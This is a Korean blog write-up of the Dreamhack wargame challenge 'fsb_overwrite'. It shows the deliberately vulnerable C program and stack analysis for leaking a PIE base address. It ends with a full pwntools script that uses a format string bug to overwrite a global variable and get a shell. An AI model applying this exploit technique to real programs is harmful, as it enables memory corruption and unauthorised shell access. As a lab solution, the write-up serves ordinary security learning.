[Dreamhack] Format String Bug

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
29/44

📒 Description & Checksec


📒 C code

📖 fsb_overwrite.c

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

get_string 함수에서는 딱히 취약점이라고 할 만한 것이 보이지 않았다. 따라서 buf에 0x20만큼 입력을 받는다고 생각을 해보자. 우리는 changeme 값을 1337로 바꾸어야 한다. 그렇다면 쉘을 딸 수 있다.
buf에 입력을 받고 printf(buf)를 하는데, 여기서 충분히 Format String Bug가 발생할 수 있다.
그런데 PIE가 걸려있으므로 PIE_BASE를 따야 하겠다.

  1. 디버깅을 통한 Stack 내의 유의미한 값 leak 후, PIE_BASE 계산
  2. RET -> main으로 overwrite
  3. changeme에 1337 FSB로 대입

📒 Debugging

printf 함수를 실행하기 전의 stack 상황이다.
RDI RSI RDX RCX R8 R9 STACK 순서로 64비트에서는 인자를 전달한다.

따라서 STACK에서 보이는 __libc_csu_init이나 _start를 이용하여 PIE_BASE를 계산하면 되겠다.
(이후에 알게된 것이지만, 서버환경에서는 _start를 이용한 풀이를 해야 해결이 되더라.)

RDI에는 포맷스트링이 들어가 있으므로 우리가 %1$n 같은 포맷 스트링을 사용하고자 하면 그 첫 번째 인자는 RSI를 참조하게 된다. 그 말은 즉, %$9n을 참조하면 _start의 주소를 알아낼 수 있다.


📒 Exploit

자세한 공격 법은 위에서 설명을 하였다.

📖 exploit.py

from pwn import *

#p = process('./fsb_overwrite')
p = remote('host3.dreamhack.games', 12476)
e = ELF('./fsb_overwrite')

__libc_csu_init_offset = 0x940
_start_offset = 0x730
changeme_offset = 0x000000000020101c

#p.sendline('%7$p')
p.sendline('%9$p')
#__libc_csu_init_addr = int(p.recvline()[:-1], 16)
#pie_base = __libc_csu_init_addr - __libc_csu_init_offset
_start_addr = int(p.recvline()[:-1], 16)
pie_base = _start_addr - _start_offset
#print(hex(pie_base))
changeme_addr = pie_base + changeme_offset
'''
payload = p64(changeme_addr)
payload += "%1329c%6$n"
payload = payload.ljust(0x20, '\x00')
'''
payload = "%1337c%9$n"
payload = payload.ljust(0x18, " ")
payload += p64(changeme_addr)

p.sendline(payload)
'''
payload = p64(changeme_addr)
print("changeme : " + p.recvline())
'''
p.interactive()

실제로 본인은 __libc_csu_init이 먼저 눈에 들어와서 풀어보려고 시도하였지만, 풀리지 않아 당황했다. 왜 서버환경에서 __libc_csu_init을 가지고는 공격이 되지 않는 것일까.

profile
Today I Learned

0개의 댓글